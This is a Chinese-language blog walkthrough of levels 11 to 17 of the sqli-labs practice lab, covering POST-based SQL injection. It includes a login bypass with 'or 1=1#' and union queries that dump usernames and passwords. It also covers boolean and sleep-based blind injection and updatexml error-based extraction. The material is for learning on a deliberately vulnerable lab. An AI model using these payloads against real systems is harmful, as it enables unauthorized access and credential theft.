sqli-labs通关攻略教程三(less 11~less-17)


sqli-labs通关攻略教程二(less 01-less-10)

less 11

在这里插入图片描述

  1. 与第一关相同的步骤。首先在phpstudy中打开网站根目录,在第一关的index.php的文件中加入两行代码echo $sql; echo "<br>";第一句意思是将我们构造的sql语句进行输出,第二句意思为换行符,方便我们浏览。在这里插入图片描述
  2. 我们尝试输入用户名和密码均为admin,查看响应结果,我们发现用户名和密码在url中均看不见,说明为post请求进行传输。在这里插入图片描述
  3. 我们将浏览器页面使用burp抓包进行分析,更加确定为post请求。在这里插入图片描述
  4. 将抓包得到用户名和密码的信息作为hackbarpost请求的内容,查看页面响应的结果与第二步的响应结果相同。在这里插入图片描述
  5. 修改post请求中用户名admin,在其后面添加一个单引号并查看响应结果。返回结果显示单引号处存在sql语法错误,证明存在sql注入漏洞,说明闭合方式为单引号。
    在这里插入图片描述
  6. 删去uname,再次执行,查看响应结果依然报错
    在这里插入图片描述
  7. 添加or 1=1#,返回结果显示执行成功在这里插入图片描述
  8. 删除admin,查看结果同样响应执行正确在这里插入图片描述
    此处不能使用--+,因为--+主要使用在url中,而在此处#是适用的
  9. 在sql注入的地方使用order by查询字段数,得到字段数为2在这里插入图片描述
  10. 使用联合查询语句union select 1,2 来确定回显的位置在这里插入图片描述
    union select 1,2 database()#来查询数据库为security在这里插入图片描述
  11. 其余的查询语句的步骤与前十关相同
select group_concat(schema_name) from information_schema.schemata;         //查库
select group_concat(table_name) from information_schema.tables where table_schema='security'  //查表
select group_concat(column_name) from information_schema.columns where table_name='users';   //查字段
select group_concat(username) from security.users;      //查字段中的值
select group_concat(password) from security.users;
select group_concat(concat ws(0x7e,username,password)) from security.users  //0x7e表示~的十六进制

less 12

  1. 与第一关相同的步骤。首先在phpstudy中打开网站根目录,在第一关的index.php的文件中加入两行代码echo $sql; echo "<br>";第一句意思是将我们构造的sql语句进行输出,第二句意思为换行符,方便我们浏览。在这里插入图片描述
  2. 与第一关的区别在于闭合方式的不同,这一关为闭合方式为"),第十关的闭合方式为'
    3. 常见的闭合方式
'
')
'))
"
")
"))

判断闭合方式可以通过手工注入测试,也可以通过使用burp抓包进行暴力破解。

less 13

  1. 与第一关相同的步骤。首先在phpstudy中打开网站根目录,在第一关的index.php的文件中加入两行代码echo $sql; echo "<br>";第一句意思是将我们构造的sql语句进行输出,第二句意思为换行符,方便我们浏览。 在这里插入图片描述
  2. 本关闭合方式为'),但我们并未发现其他的回显语句。
    在这里插入图片描述
  3. 使用select查询语句也无法获得相关的回显在这里插入图片描述
    因此需要使用盲注的方法。

在命令行中if left等函数前需要添加select,但在做题中直接添加在or语句后面即可

select if(length(database()>1),1,sleep(5)) //正确情况下返回1,否则延迟五秒返回0  //判断数据库长度

select left(database(),1) //left(a,b)从左侧截取a的前b位,正确返回1,错误则返回0。
或者
or left((select schema_name from information_schema.schemata limit 0,1),1)>'a'  //判断数据库的第一个字母是否大于字符a
或者同时使用burp对字符a到z进行暴力破解

使用select语句查询表、字段、字段中的值

在这里插入图片描述

less 14

  1. 与第一关相同的步骤。首先在phpstudy中打开网站根目录,在第一关的index.php的文件中加入两行代码echo $sql; echo "<br>";第一句意思是将我们构造的sql语句进行输出,第二句意思为换行符,方便我们浏览。 在这里插入图片描述
  2. 输入用户名和密码,查看响应结果,与上一关相同,依然没有回显在这里插入图片描述
  3. 我们由响应结果分析得到本关的闭合方式为",其余步骤与第十三关的思路相同。

less 15

  1. 与第一关相同的步骤。首先在phpstudy中打开网站根目录,在第一关的index.php的文件中加入两行代码echo $sql; echo "<br>";第一句意思是将我们构造的sql语句进行输出,第二句意思为换行符,方便我们浏览。
  2. 输入用户名admin和密码admin,查看页面响应结果没有回显。在这里插入图片描述
  3. 分析响应结果本关的闭合方式为',其余思路与十三、十四关的盲注思路相同。

less 16

  1. 与第一关相同的步骤。首先在phpstudy中打开网站根目录,在第一关的index.php的文件中加入两行代码echo $sql; echo "<br>";第一句意思是将我们构造的sql语句进行输出,第二句意思为换行符,方便我们浏览。在这里插入图片描述
  2. 输入用户名和密码,响应结果依然没有回显在这里插入图片描述
  3. 本关的闭合方式为"),其余思路与十三、十四、十五关的盲注思路相同。
    总结:
十三关:')
十四关:"
十五关:'
十六关:")

补充知识

UPDATEXML(XML_doucument,XPath_string,new_value)

第一个参数:XML_doucumentstring格式,为XML文档对象的名称,如doc
第二个参数:XPath_stringXPath格式的字符串)
第三个参数:new_valuestring格式,替换查找到的符合条件的数据
作用:1. 改变文档中符合条件的节点的值
2. 改变XML_document中符合XPath_string的值
注入语句:

select updatexml(1,concat(0x7e,(SELECT username from security.users limit 0,1),0x7e),1)

其中concat()函数是将其连成一个字符串,因此不会符合XPath_string的格式,从而出现格式错误,爆出

ERROR 1105(HY000):XPATH syntax error:'~Dumb~'

在这里插入图片描述

less 17

  1. 与第一关相同的步骤。首先在phpstudy中打开网站根目录,在第一关的index.php的文件中加入两行代码echo $sql; echo "<br>";第一句意思是将我们构造的sql语句进行输出,第二句意思为换行符,方便我们浏览。在密码下面也应当输入这两行代码echo $updata; echo "<br>";,将密码进行回显。在这里插入图片描述
  2. 输入用户名和密码,发现密码被更新。在这里插入图片描述
  3. 使用burp抓包修改POST请求,尝试将uname闭合,查看回显结果,字符被转义,则考虑对passwd进行尝试在这里插入图片描述
  4. 添加单引号和注释符号之后,我们查看回显结果并未转义且登录成功,则在此处进行sql注入在这里插入图片描述
select updatexml(1,concat(0x7e,(构造语句))1)
//构造语句可用前面的查库、查表、查字段、查字段中的值的语句

在这里插入图片描述
使用查库等语句时后面应该添加limit a,b,即为取从第a个开始的b个内容。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

poggioxay

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值